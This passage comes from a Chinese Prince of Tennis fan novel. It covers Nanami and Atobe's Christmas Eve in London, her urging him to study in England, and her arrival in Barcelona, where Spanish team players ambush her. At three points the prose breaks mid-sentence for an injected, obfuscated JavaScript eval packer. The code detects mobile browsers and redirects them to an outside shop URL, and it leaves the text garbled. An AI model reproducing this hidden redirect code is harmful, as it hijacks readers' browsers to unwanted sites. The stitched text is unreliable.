墙上的壁灯散发出荧绿色的幽光,映照得室内的氛围有些阴森,这里就像是影片里才会出现的古堡,恢弘,神秘,厚重,仿佛每一砖一石都承载着过往岁月的重量。 唯独,不像一个温馨的家。 今天已经是平安夜,一路驱车过来,街边皆是张灯结彩,红红绿绿,圣诞元素的装饰品大摇大摆地彰显着自己的存在感,整个伦敦洋溢着圣诞氛围。 可是这座城堡周围别说圣诞氛围了,人气都没有一点。 上一层楼梯,七海又愣了愣,“这里居然还有室内网球场......”而且还被铁栅栏挡住了,明明是个网球场,却有点像监禁的地方。 “本大爷和你一样,也是从小就开始打网球了。” 往侧边走到尽头,是一间巨大的圆拱形藏书室。放眼望去,藏书量之大,目测可得的年代之久远,恐怕,说是某所老牌名校的图书馆也不会有人怀疑。 书架边的移动扶梯一直攀升到接近穹顶彩窗的地方,有恐高症的人是决计爬不上去的。 再往高处走去,少年推开了一间双开门。 “这里,是本大爷以前的卧室。” 这件房间的布置,和他的那间大平层公寓里的卧室好像。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942453|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒红色坠着金穗的床幔笼罩下,酒红色的床品和月白色的床单,墙边展示着英式茶具的胡桃木柜子,墙上的油画,沙发上的帕丁顿熊玩偶,高桌上的塔桥模型...... 迹部景吾似乎看透了她心中的疑惑,解答道:“本大爷在日本本家的卧室是仿照着这件卧室来的,那时候本大爷才刚来日本,还不习惯,所以父亲母亲就为我复现了这里的住所,你住的那个地方也一样。” 她本为着宠爱他的双亲们而感到高兴,转而又想起了另一个问题,这里废弃了这么久,看来他的父母如今也不住在这里了,那么过去呢? “景吾,你小的时候是一个人住在这里吗?” 他漫不经心地答道:“父亲母亲当然也会在,还有仆人和管家,只不过他们大多数时候也在忙自己的工作。” 她陷入了沉默。 沿着旋转楼梯往上,他们终于走到了城堡的最高处。这里离温布尔登赛场不远,站在城墙边能够俯瞰到那片在冬季有些泛黄的绿草地。 她或许是有几分羡慕的,羡慕他只要愿意,随时都可以看到温网的赛场。可是此刻的心情,更多的......是难过。 那天见到了他的母亲,她能够感受到,他有疼爱着他的妈妈,相信他的爸爸也一样,否则他不会成长为这样自信张扬的人。 可是他的童年,依然是沾染上孤独的。 相比之下,无论是上辈子的自己,还是这辈子的自己,她的童年很幸运地一直有亲人陪在身边成长。 七海一直沉默不语着,突然被摸了摸头。“我再带你去一个地方。” 走下城堡,坐上来时的游艇,又是水路转陆路,他们到达了英国的一处街头网球场。 英国的冬日带着潮湿的冷气吹过,发黄的球网微微晃动着。这里的球网已经有些破烂了,几处缝线断开垂落着,硬地上满是网球砸出的划痕。 “这里,是本大爷读小学的时候经常来打网球的地方。” 迹部景吾双手插兜,抬着头仰望着虚空,他的目光深邃悠远,似乎陷入了回忆中: “那时候,周围的同龄人打得球远胜于我,我的球路和作战技术都被看得一清二楚。” “在那样的情况下,本大爷能做的,只有看穿对方的弱点,瞄准弱点不断进行打击。” “那是我选择的路。” 七海再一次失语。 她以为像他这样的人,即使是读小学的时候,也应该是样样都拿第一,网球是更不在话下。却没想到,原来,他也有一次次被打击,一次次遭受挫折,一次次失败又重新爬起的时候。 更何况是在异国他乡的亚洲面孔,她十分清楚,种族歧视从来不曾消失过,他一定也曾经历过同龄人的讥讽,甚至霸凌。 那样幼小的年纪,父母的陪伴又时常缺席,还有周围人的打击......他所承受的,比她想象得多得多。 不如说,他一直在遭受着挫折。就如同胜者是冰帝这句口号,他一次又一次地喊出,却从未实现过。 她也曾偶尔闲着无聊翻开过他房间书柜里的莎士比亚戏剧—— I am not what I am.世人所知道的我,并不是实在的我。这句《奥赛罗》里出现的台词,本是伊阿古用来自嘲自评。 可如今想来,刨除语境,好像也映照着她。 她是庸俗的世人,过去,只看得到俗世里的他。 如今,她才发现,重重枷锁与重重困境下,他却依然活得这样耀眼夺目。 迹部景吾,你真的是一个,很了不起的人。 回过头想想,她的想法却很自私。虽然嘴上说着是为了实现他的网球梦,所以希望他留在日本,但是,他的家族,他背负的另一头重担她却没有更深地考虑过。 少女站到了他面前,面色突然变得极其认真严肃,视线锐利:“呐,景吾,你的家人让你来英国留学是为了做什么呢?”虽然她心中已有了大致的答案,但是她还是想认真确认一次。 迹部景吾目视着她,平静作答:“学习家族产业经营,建立维系在英国这边的商业人脉。” “伊顿公学或者哈罗公学吗?”她不是什么都不知道。 “嗯。” 她追问:“如果留在日本,这些要学习的内容要建立维系的关系,会有更多的阻碍,更难达成,对吗?” 迹部景吾罕见地沉默了。 她看他的眼神又坚定了几分:“迹部景吾。”她又喊他的全名了。 她缓缓开口:“我想,过去,是我着相了......” “网球在哪里不能打呢,我们的俱乐部,我会留在日本好好经营,留在冰帝高等部的人,我会尽力照看。 我现在有法国队顾问的身份,从法国来一趟英国也并不麻烦,到时候我会尽量抽空来英国指导你。 日本这边有我在,你放心吧,所以......” 她的语调轻缓,少年的眉头从逐渐锁紧再到逐渐松开。他有些愣住了,他好像猜到了她接下来要说的话。 七海的嘴角漾起一抹浅笑: “从中等部毕业以后,你去英国吧。” 或许这对于你来说才是最好的选择,不要留下来了。 去开创属于你的新世代吧,迹部景吾。 ------------------------- 弓在箭要射出之前,低声对箭说——你的自由,就是我的自由。 100.第 100 章 “二阶堂......”少年的神色幽暗,喉咙上下滚动了一番。 迹部景吾当然清楚,留在日本会给他增加难度,可是他有自信自己能跨越这些难度。他今天也确实是刻意带她来到他曾生活过的地方,让她触碰到自己的过往。 但他没能想到,她会因此说出这样的一番话。 七海的目光直直地与他对上,极其认真清晰地重复着:“景吾,我是认真的。我希望胜者是冰帝这句话能在你的领导下成真一次,可是我更希望你接下来的人生路能平坦一点,自由一点。” “如果听不到胜者是冰帝,那么胜者是迹部也不错。” “可能人生就是这样。” “万事难两全。”她仍浅笑着,声音却慢慢哽咽了,泪光一点点凝聚在眼底。她想到的不仅是他,还有太多让她意难平的事,让她满腹遗憾的人。 这些遗憾就像手心的沙,她想努力抓住全部,最后却无法抵挡他们流逝于掌心。 那么或许,就让这些沙随风散去吧,飘散回尘埃中也好,落入大海中也罢,又或许有一天,能再度聚沙成塔。 她强行按耐下凌乱的思绪,继续盯着他恳求着他:“我知道我这样讲很没道理,一下子让你留下,一下子又让你走。但是,这次我认真地想好了,所以你不要再管我之前的胡言乱语了,去英国吧,好不好。” 不等他回答,她接着说道:“其实,大家到最后都是为自己而战。” “国光留在德国也好,越前留在美国也罢,你该去的地方不该受我的怂恿。我想,闯荡世界职网,英国或许也是一个不错的开始。” “这里有温布尔登赛场,有你的过去,有你喜欢的英式红茶,有你爱读的莎士比亚。”她的眼底蓄满了泪光。 在他的家住了那么久,被他的人生包围着,渗透着,她怎么可能还不知道他喜欢什么呢。 “景吾,你不要再留下来了,去成全自己的梦想,自己的事业吧。” 她终于是忍不住心中的酸涩,侧过头,泪雨滂沱,直淌而下,一滴,一滴,滴落在她棕色格纹的围巾上。 伦敦也在此时下起了小雨,薄雾泛起,就和她一样。 ---------------------- 夜晚九点的摄政街依旧热闹非凡,迹部景吾领着她走进了一家能够望见远处的伦敦眼和大本钟的中餐馆,寻了个靠窗位坐下。 几个小时前,他们从街头网球场坐车到了下榻的酒店,一番修整换了身衣服,这才再次出发来到泰晤士河附近。已经过了饭点,她知道他大概要带她去吃饭,可没想到是这样的地方。 只是站在门口七海就已然感受到了浓厚且纯正的中式装修风格,不出意料,这是一家粤菜餐厅,出乎意料的是,这并不是一家多么高级豪华的餐厅,但反而让她更感到亲切与放松。 今天是平安夜,即使是与圣诞没什么瓜葛的中餐厅,天花板和门框上也挂上了坠满铃铛和蝴蝶结的松枝彩条。 穿过朴实无华的木制圆桌,听着耳畔熟悉的语言,嗅闻着她所熟悉的香气,七海一阵恍惚——她从未具体透露过自己的来处,他是怎么知道的? 迹部景吾只是坐在对面轻傲地笑着而不言语。 七海迟疑了片刻,决定干脆不问了,他知道了也没什么。 “二阶堂,你来点菜,啊恩?” “没问题,包在我身上。”她嫣然一笑。 扫了几眼中英文交织的菜单,七海心下一定:“服务员,点单......要半只烤鸭,然后要一份鲜虾肠粉,咕咾肉,一份金蒜牛肉粒,最后再上两份杨枝甘露,再要一壶金骏眉吧。” 这样从表面看平平无奇的餐厅里居然有这么好的茶叶是她没想到的,这次正好让他也品一品不同风味的红茶。 一道道菜被送上餐桌,她饶有兴致地介绍着,他便耐心认真地倾听着。 菜很快上齐了,七海本打算手把手地教一下他该怎么吃北京烤鸭,却见他一手托着饼皮,一手放烤鸭皮葱丝的样子十分熟练。 少年的余光瞥见了她的困惑,解释道:“本大爷以前跟着长辈去见过那里的客户。” “原来如此。”七海点了点头。 “不过,这个红茶你说不定没有喝到过,可以试试看。” 她拎起紫砂茶壶倒了一杯茶水给他,金骏眉的茶水金黄透亮,飘着清香,少年浅啜了一口,看他的表情,应该是满意这个味道的。 她也为自己倒了一杯,清冽甘甜,已经超出了她的意料。 接下来的一整顿饭,两人都不再过多言语。七海为着之前没能控制住的泪水而多少有些尴尬,便干脆把注意力都放在了眼前的食物上,认真享受着。 迹部景吾默默地看着她吃得颇有些眉飞色舞的模样,几小时前的对话在脑中反复浮现,叫嚣着。 那时的他......还没想好该怎么回答。即使他知道,她说的,确实对他来说是最好的选择。 他居然也会犹豫了,他过去的一切选择都是毫不犹豫的。 无论是小时和桦地成为朋友,还是决定了自己的网球之路,亦或是回到日本入学冰帝,打败前辈成为冰帝网球部部长又当上学生会长,以及,决定家人和网球他都要握在手中决不放弃。 还有,她。 如果去了英国,那她呢,留她一个人在日本吗。 不,她在日本不会是一个人。幸村,忍足,还有很多双她自己没发现他却旁观得一清二楚的一直注视着她的眼睛......他无法放心让她留在日本。 他尚在沉思着,桌对面突然响起了少女清丽的声音: “景吾,明天你就回关岛去吧。”七海淡淡地笑着,放下了手中的碗筷。 她侧头托腮,眺望着窗外。远处,泰晤士河的水在漆黑的夜色和大本钟的光芒下掀起莹亮的波澜。 楼下,街道两侧无数铁线牵起的天使灯早已被点亮闪烁着,绚丽的光芒在潮湿的地面投下斑驳发亮的影子。 行人如蚁穿行于其间,红色的复古双层巴士也被贴上了灯带,街角的一隅时常闪过红红白白的身影。 “今天是平安夜,我们在泰晤士河边待到零点,就算过了圣诞节,然后你明天就早点回去吧。你已经在欧洲呆了五天了,世界杯在即,该回去了。” 既然希望他也能赢一次,她就更不该让他陪在自己身边耗着。也不仅是他,他们都是一样的。她此刻的身份,是他们的教练、顾问,不再有其他。 情爱与遗憾,过去与未来,这些都该先抛到一边。她现在的目标有且只有一个,在保全日本队的这些少年们的性命与职业生涯的前提下,带领他们拿到世界第一。 她将头转回来,对着他的神情坚决,不容反驳:“我已经买好了明早去西班牙的机票,那边去过一趟再回德国收拾好东西,我就会去关岛和你们汇合。” “你是知道我的愿望的,我想赢,你也想赢,不是吗?之前你没有回答我,但或许,等这次世界杯结束时你就会有答案。那是一个比日本要大得多的舞台,你会看到不一样的风景,预见到不一样的未来。” “你会有你坚定的选择,我也要坚定地继续走我的路了,景吾。” 迹部景吾沉默许久后轻笑了一声:“我知道了。” 七海这才展露出了一个极为真心的笑容,顺便喊来了服务员,这次,她终于有机会主动买单了。 “好啦,那我们去外面走走?” “走吧,二阶堂,本大爷就带你逛逛伦敦。” 走下楼梯来到摄政街大道上,他们沿着大道一路往泰晤士河边走去。 今天他们都穿着黑色的长款大衣,区别只在于七海的内搭是白色的一字领毛衣配红格短裙,蹬了双牛皮小短靴,脖子上围着白天那条卡其色格纹围巾—— 她承认她有稍微用心打扮一下,她并不是不清楚陪他过圣诞代表着什么含义,只是既然她选择了答应,不如就准备得充分一些。 而迹部景吾,他不知是不是凑巧,也穿了一件白色的圆领毛衣,下身是黑色的休闲西裤。 两道深黑的人影慢悠悠地在热闹纷杂的圣诞街道上走着,汇入稍有些拥挤的人流中,少年极其自然地站在了她的右侧,两人就这样有一搭没一搭地闲聊着。 “呐,景吾,你以前也在英国过过圣诞吧,那时候是怎么过的呢?” “有时候去朋友家过,和桦地或是雷欧,也有的时候在家里过。” “二阶堂,你呢,啊恩?” “在以前的人生里倒是没什么特别的,不会特意去过圣诞节。现在的人生,国中两年是和女网部的部员们一起过的,在这之前,有时候一个人,有时候和家人一起过。” “一个人?”迹部景吾不着痕迹地皱了皱眉。 “嗯,爸爸妈妈经常要出差。哥哥嘛,总是神出鬼没的,所以在神奈川的时候也经常是一个人呆在家的。”迹部景吾回想起了在金井综合病院病房门口看到的那个外形不修边幅的青年,又一次皱眉。 少年稍稍有些不满:“二阶堂,你的家人也真是有够不负责的。”他似乎双标地忘了,自己有时也是类似的情况,只不过至少家里还会有仆人和管家陪着他。 “没有办法呀,他们要赚钱养家的,而且我和他们其实......”七海顿住了,她没必要说那些话,像是在自怨自艾,但其实她从不怪罪他们,更不会因此顾影自怜。 她的话没有说完,他的脑中立时浮现出了几种可能:“其实什么?” “算了,没事。”她摇了摇头。 他想他或许猜到了一些真相。毕竟她一直说自己是个“外来者”,既然是外来者,那恐怕,她与他的父母并无真正的血缘关系,也包括她那个哥哥。 他现在已经不打算再像过去那样紧逼着她说出真相了,不过是再次揭起她的伤疤。 七海正打算换个话题,突然感到鼻子上微凉,她仰头,这才发现伦敦下雪了。 细小的雪粒子在空中飞舞着降落,落到他们黑色的大衣上,慢慢化成了莹白色的水点,水点在大衣的绒面上缓缓滑落,留下一道道细而浅的水痕。 “景吾,下雪了诶,我们还去大本钟那边吗?”她眨了眨眼,不确定地问道。 “二阶堂,你想去吗?” “我当然是想去了......”除了在瑞士跟着瑞士队的少年们爬了一趟雪山,在美国和精市去了个天文台,剩下的德国、法国她都还没逛过,这次难得来了英国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961249|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她还是想看看知名的景点。 “那就去。”于是两人继续在雪中的街道上前行。 或许飞雪也感知到了圣诞节即将来临,在接下来的十几分钟里,雪花变得越来越密集,连成一片片的鹅毛大雪,在寒风中纷飞。 圣诞红为基调的商店橱窗里,暖黄色的灯光将空中的飞雪照亮,伦敦被装点成一场红黄白交织的梦境。 地面很快积上了一层薄雪,走在人群中能够清晰地听到脚底的嘎吱声,雪花落在肩头和袖子上,他们黑色的大衣像是被盖上了一条白色的披肩。 他们终于走到了泰晤士河畔,或许是因为突如其来的伦敦初雪,又或许是因为圣诞节将至,河畔边的人流量依然很大。 对岸大本钟的表盘泛着幽暗的黄光,矗立在大雪中显得温暖又寂寥。不远处,伦敦眼散发着彩色的光,将暗夜中黑灰色的泰晤士河的波光也涂成一片七彩。 七海感觉有些冷了,瑟缩了一下,遗憾地喃喃道:“可惜,已经错过了坐伦敦眼的时间了,不过今天是平安夜就算要坐估计也要排长队。” 迹部景吾闻言,语调突然变得认真,缓慢: “二阶堂,你听好了。” “在本大爷的字典里,永远没有错过这两个字。” 七海愣住了,还没等她反应过来,他已经不由分说地拉住了她的手往伦敦眼走去。 “诶,诶,景吾,你这话的意思该不会是?!”她有些激动起来,跟上了他的脚步,该不会是她以为的那样吧。 伦敦眼下早有人特意候着,为这两位少年人打开了厢门。 于是,在无数路人惊诧的目光下,在泰晤士河畔粼粼的波光边,在平安夜飘飞的大雪中,早该歇业的伦敦眼为她一人缓缓转动起来。 不知是否是因为圣诞将至,车厢的扶手上被挂上了圣诞的装饰,中间的叶型坐台上盖着厚厚的白色绒毯,车厢顶端挂着一串串被红色蝴蝶结包扎好的槲寄生。 角落里放着一个暖风炉,把这片不大不小的透明空间烘烤得极暖,七海将大衣和围巾脱下放到了坐台上,露出了内搭的露肩白衣与红格裙。 迹部景吾的目光难以克制地在她裸露的白皙肩颈与精巧的锁骨之间流连,他早就注意到她刻意地打扮过了,他很满足,也升腾起了更深的欲望......至于项链,他选择忽略。 “哇,这难道是什么名为迹部景吾的魔法吗......那个工作人员认识你吧,景吾。”七海走到弧形的玻璃罩前,把着扶手望着远处,嘴里感叹着,这次他连电话都没打,不知道他怎么做到的。 “二阶堂,你是笨蛋吗。”少年站在她身边,声音中带着明显的笑意。 她有些不明所以然:“不认识怎么会放你进去呢。” 迹部景吾挑了挑眉:“本大爷还没有送你生日礼物。” 七海侧过头,呆呆地看着他,心突然跳得很快。 什么叫,还没送她生日礼物,所以......他让她来英国陪他过圣诞,其实是为了给她补送生日礼物? 他们并肩而立观赏了一会儿夜晚的雪景,忽然,泰晤士河上方的暗夜中开出了巨大的火花,一朵接一朵,此起彼伏,像是霓虹坠入了深蓝色的画卷中。 河水与天空连成了一片,漫天飞舞的火树银花将眼前的画面勾勒得流光溢彩,也将她的瞳孔倒映得绚烂,他看到所有的美好在她的眼中绽放。 直到,烟花中出现了她的名字。 那天悬崖边,注意到她看夜幕烟火的眼神时,他便知道了,她喜欢烟花。 “二阶堂,你现在还以为这真的是魔法吗,啊恩?” 她的瞳孔闪烁着,片刻后,覆上了一层晦涩。她低声开口:“所以,这是你早就准备好的。” 她又像是想起了什么,怔怔地问道:“可是,如果之前下雪了我说我不去了呢?” 迹部景吾干脆道:“那就不去了。”她怕冷。 “可是......”可是如果她选择不去,那么他准备的这一切的一切不就都白费了吗。她的眼底止不住地发热发烫,她想,她是被暖风熏得。 “二阶堂,上面挂着的东西认识吗?”他突然转换了话题,指了指顶上。 七海仰头,舱顶挂着的是槲寄生,她知道。“槲寄生呗,mistletoe。” 等等......她想起来了,某个关于槲寄生的传统。他该不会......她的脸突然涨得通红,慌乱地侧身看向身侧的人,把着扶手的手下意识往后挪了挪,脚下却和生了根似的动弹不得。 迹部景吾笑得轻佻,眼神中闪烁着戏谑的光芒:“二阶堂,看来你已经想到了,啊恩?” 随即,他的神情变得认真起来。 “七海,至少今天,不要拒绝我。”他的目光直直地锁定在她的脸上,不给她逃避的空间。 她太久没有听到他嘴里喊出自己的名字,害得她又是一阵恍神。 他毫不犹豫地揽起她的腰,低头吻了上去。 泰晤士河畔,绚烂的烟花一朵朵升空,伴随着飘飞的雪花将夜景衬得格外浪漫。 伦敦眼升至最高点,大本钟的时针指向12点,钟声响起。 It’s Christmas. 101.第 101 章 “平等院,小心......西班牙。”手机摔落在地上,少女口中的鲜血喷涌而出。 “呵,西班牙怎么了?......喂,二阶堂?......二阶堂!” ------------------------- 四小时前。 飞机降落在西班牙巴塞罗那机场,七海捧着手机紧急学习着基本的西班牙语。 之前迹部景吾生病时,她没事就一直在学,只是总共也就学了几天,饶是她的语言天赋还不错,也只能磕磕巴巴地说几句基础的日常用语。 跟着人潮费劲力气入了境,按指示牌从机场坐大巴抵达加泰罗尼亚广场,又和越前南次郎提前打了声招呼,参照他给她的地址定位在bolt上打了辆车,七海总算坐上车,驶向巴塞罗那皇家网球协会大楼附近的酒店。 “司机你好,我们能稍微绕绕路开慢一点,去拍一下巴塞罗那的名建筑吗?”七海看着手机上的翻译标注一字一句跟读道。 在西班牙只有两三天时间,毕竟飞回关岛还要花一天,她恐怕没有时间单独来看这些瑰丽怪异并具的景点了。 前排的中年司机只会说西语,他侧过头笑出一排雪白的大牙:“Sí, ningún problema.” 少女赶忙低头看向手机上的翻译结果——好的,没问题。 “Gracias!”道了谢,七海将窗户拉下,举起手机开拍。 司机为她从大教堂开始一路逛了一圈。 巴塞罗那大教堂极尽繁复的拱门,细瘦的塔尖与米灰色的石墙; 圣家堂的尖塔直指天际,如同一株株耸立的米色巨笋,白骨般的立柱,马赛克的拼贴,外立面将几何的怪诞之美发挥到极致; 米拉之家的曲线石面外观,与像是把铁融化到一半再随意拉扯捏起的枪色铁艺围栏...... 巴塞罗那不愧是艺术之城,路边的随便一栋建筑看起来都极具艺术美感,中途下车买了点伴手礼,七海继续着走马观花的囫囵之旅。 直到汽车开到知名的不和谐街区,她再次麻烦司机暂时停下了车。 “莫雷拉之家,这个是穆耶拉斯之家......这栋是,高迪设计的巴特罗之家......”一栋栋风格迥异的建筑拍过去,直到最后一栋房顶的瓦片如美人鱼尾般瑰丽地渐变着的小楼,七海停下脚步皱了皱眉,巴特罗之家,她似乎曾经听谁说起过。 在记忆之匣中翻找了片刻,她想起来了。 全国大赛之前,某天去立海大侦查顺便和少年们聊天时,她曾听一个人提到过他想中学毕业后去西班牙看巴特罗之家。 那个总是喜欢戏弄她的坏蛋,她正好可以趁机炫耀一下。关岛和巴塞罗那有八个小时的时差,现在那边应该是晚上十点,他肯定还没睡。 【14:12 to仁王雅治:仁王,看[图片]】她将巴特罗之家的图片发了过去。 【14:13 仁王雅治:你去西班牙了?】 【14:14 to仁王雅治:是呀,这是在欧洲的最后一站了,过两天我就回关岛】 【14:15 to仁王雅治:怎么样,羡慕吧,免费欧洲旅游】 【14:16 仁王雅治:把自己搞得半死不活的,我不羡慕,噗哩】 七海愣了愣,他是指她看病的事,还是指她发烧的事,还是全部?他怎么又知道了。 【14:17 to仁王雅治:该不会来德国看我的迹部是你假扮的吧?!】 【14:18 仁王雅治:我可没有那么闲】 【14:18 to仁王雅治:呵,不是才好呢】否则的话......啊,她在想什么乱七八糟的。 【14:19 to仁王雅治:记得你想去这里,内部的图我没预约拍不了,外立面倒是拍了一点细节图,你慢慢欣赏吧,不用太感谢我[图片][图片][图片]......】她歘欻欻把刚才拍的几十张照片都发了过去。 【14:21 仁王雅治:二阶堂,谢谢】 七海得到了欺诈师难得的真诚道谢,又顺便回了几句家人和少年们的挂怀短讯,心满意足地合上了手机。 “我拍好了,司机,我们现在直接出发去手机上的地址吧。” 轿车驶达酒店门口,七海背上网球包,拿上行李办理了入住手续,简单修整后,她径直出发来到巴塞罗那皇家网球协会大楼楼下的广场。 ...... “奇怪,怎么没有人......” 该说不愧是挂上了皇家的名号,这又是一栋华丽繁复的欧风宫殿,黑灰色的尖顶和斑驳的棕黄色外墙透出几分阴冷与神秘,她走到门前用力推门,厚重的大门纹丝不动。 门似乎上锁了。 四周静悄悄的,没有一丝声响,透着几分诡异,七海这才发现自己的胳膊不知何时起了一层鸡皮疙瘩。 【目标捕获,距离30.5m,风向是东西偏正,风速3.2m/s】 电光火石间,七海忽地感受到一种迫近的危机感! 她下意识往左边移了一步,只听见一道破空之声擦过她的耳畔,下一瞬,她刚才所站的地方,一个高速外旋球狠狠击至地面,把褐色的石砖地砸出了一圈裂纹。 外耳廓被擦伤,火辣辣地疼着。她循着球击过来的方向猛地转头,这才发现宫殿对面的一处高楼围栏边站着一位穿着华丽的蓝紫色制服,一头棕红发寸头古铜色皮肤的大叔,他拿着网球拍,正神色阴鸷地盯着她。 他是谁?出现在皇家网球协会附近又拿着网球,该不会是西班牙队的选手吧。七海仔细观察了一会儿制服胸口绣着的徽章标识,正是巴塞罗那皇家网球协会的标志。她悚然一惊,果真是! 而且......七海低头扫了眼裂开的石砖,多少产生了一点劫后余生的后怕。 这一球也太可怕了,他是要杀人吗!七海暗自腹诽,想起武士南次郎对这群少年的评价为“桀骜不驯”,完全是过度美化了。 这何止是桀骜不驯,简直是目无法纪,法外狂徒! “呀,没想到不用我出手帮忙了呀。”一道雌雄难辨的声音来自更高更远的地方,七海仰头环视了一圈,在宫殿的一处塔楼上发现了穿着同款服饰的......美女? 不,应该只是爱穿女装吧,可是这个美女......男,一头飘逸的粉色大波浪,真的好漂亮。 从惊人的美貌中回过神来,她已然猜到了这两人的身份。 西班牙队一直笼罩在神秘的面纱中,越前南次郎也未曾告诉她这些少年的具体信息。然而,是在这样的地方又是拿着网球拍,两人又是相同的服饰,还有皇家网球协会的标识,那么答案不难猜到了—— “喂,你们是西班牙U17网球队的选手吗?”她先试了试英文。 “你就是越前南次郎说的新顾问?”栏杆边想偷袭她的大叔音色粗重,语气不善。 太好了,他们会说英文。 “是我。这位大叔,你也太乱来了吧?不知道网球是可以打死人的吗?”七海仰起头,叉腰冲着栏杆怒怼。 罗德里格从栏杆上翻身跳下,走到少女面前抬着下巴神色傲慢:“领队让你当西班牙队的顾问,我们可没同意。外乡人,我劝你现在就滚回日本。” 越前南次郎也就罢了,让个日本女生来当顾问,简直可笑。 七海眯起眼,毫不掩饰她的嘲讽之意:“刚才没能打到我的废物也好意思装模作样吗?本小姐当你们的顾问,绰绰有余!” 罗德里格的眉头皱得更紧了,这位新顾问的反应速度确实超乎了他的想象。他还想再说些什么,对楼一通跑酷下来的边博利打断了他。 同一时间,七海捕捉到一阵风声和布料摆动声,她回身望向声源处,原来宫殿的楼顶另有一位背着网球包的黑蓝发少年站着。 只是此刻,他已轻松地从高处一层层跃下,直到双脚彻底落在地面,仿佛身体没有重量一般,完美诠释了“身轻如燕”这个词。 “边博利,原来你也在。”罗德里格臭着脸打了声招呼。 蓝黑发少年微笑着:“我今天可是特地楼上等着我们的新顾问来呢,整整等了两小时三十八分零七秒哦。” 这个人也穿着一样的制服,看来,也是西班牙队的选手。 紧接着,吱呀的开门声从身后传来,七海再次转身望向后方。 站在宫殿门口的从左到右分别是刚才站在塔顶的粉发美女; 戴着奇怪的黑色面具,鼻子两侧挖空,只露出一对阴冷颓丧的双目,看起来完全没有什么少年活力的矮个子金发少年一位; 一头白发额上系着红色吸汗带笑容阳光的少年一位,以及...... 最右侧留着一头湖绿色齐肩短发,气场阴森的高瘦男人。他的双目狭长,嘴唇苍白毫无血色,眼神像蛰伏许久的冷血猛兽,只是被这样的眼神盯一会儿便叫人不寒而栗......是梅达诺雷!她的瞳孔骤然紧缩。 现在的局势似乎有些不妙,她被西班牙队的选手们包围了,且,他们看起来,都算不上多和善。 除此之外,还有一件事她十分在意。 一,二,三......一共六个人,还差一个人。 七海蹙着眉向着那位大病初愈归来,据说实力成谜的西班牙队队长梅达诺雷发问:“你们都是西班牙队的选手吧,还差一个人呢?” 梅达诺雷完全无视了她的提问,只冷冷地盯着她。马尔斯撩着他那一头粉色大波浪,倒是很乐意回答她的问题: “你要找罗密欧·费尔南德斯的话,他被监禁着哦。” “......”她开始怀疑西班牙队选手都有点精神问题。 简短的对话结束,四周再次陷入了死寂。 她不发问四下便无人开口,这样的氛围让七海汗毛直立,这群西班牙选手实在是处处都透着诡异。 她决定打破沉默:“所以,你们都在等着我出现,给我个下马威,是这样吗?” 少顷,白发少年弗里奥轻笑着开口:“把你打成重伤是罗德里格的主意,其他人大概只是想看看你有几分本事,毕竟大家以后就是同伴了,要love&peace啦。” “弗里奥罗梅,你这话的可信度听起来可不高呢。”马尔斯调侃道。没看到那个小顾问的表情有多愤愤不平吗,看来还有几分脾气呢。 “是弗里奥罗曼!”弗里奥抓狂地纠正。 七海只听到了重伤两个字。 打成重伤?有没有搞错?她有些冒火。越前南次郎所说的“桀骜不驯”大概只描述了这群人恶劣程度的百分之一吧,他们完全就是违法乱纪无法无天的一群精神小伙! 呵,发色也搞得这么五彩斑斓非主流,更符合她的刻板印象了。 她最讨厌伤人的网球。更何况,居然把重伤这样的词说得如此轻飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976257|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘,就合该接受正义的制裁。 “罗德里格,是你吧,大叔。” 七海冷笑着,将网球包取下,拿出了自己的球拍径直走到罗德里格的面前,在他还未反应过来之时,仰着头用拍的末端狠狠挑起少年的下巴。“现在,立刻,我们打一场如何。” 输了身高也不能输气势! ---------------------- “现在,你们可以做个自我介绍了吗?”七海挑了挑眉,坐在沙发的另一端,好整以暇地等着茶几对面的六人回应。 刚才虽然只打了一盘,却直接以6-0的惨烈比分把罗德里格狠狠削了一顿。她可是叠加了天衣无缝之极限以及绝对神域,对于大部分非职业选手而言,她的领域与境界的双重叠加已处于必胜之地。 这下,西班牙队的少年们除了梅达诺雷,其他人至少表面上都收起了轻视的眼神。 七海在心中暗爽,桀骜不驯?都给本小姐臣服! 白发少年主动请缨,从沙发上起身一个个介绍着:“二阶堂教练,我是弗里奥,原西班牙队的队长,现在是副队长。坐在我边上的是边博利,粉头发的是马尔斯,那个金发少年是初一的赛达,绿头发的是梅达诺雷,现任队长。” “罗德里格你已经知道了,最后还有一位是罗密欧,他确实在被监禁着。” 罗德里格站在沙发边,原本古铜色的皮肤或许是因为被羞辱愈发透着黑,被狠狠打脸的滋味着实不好受。 七海听罢弗里奥的介绍抽了抽嘴角,原来真的不是开玩笑= = 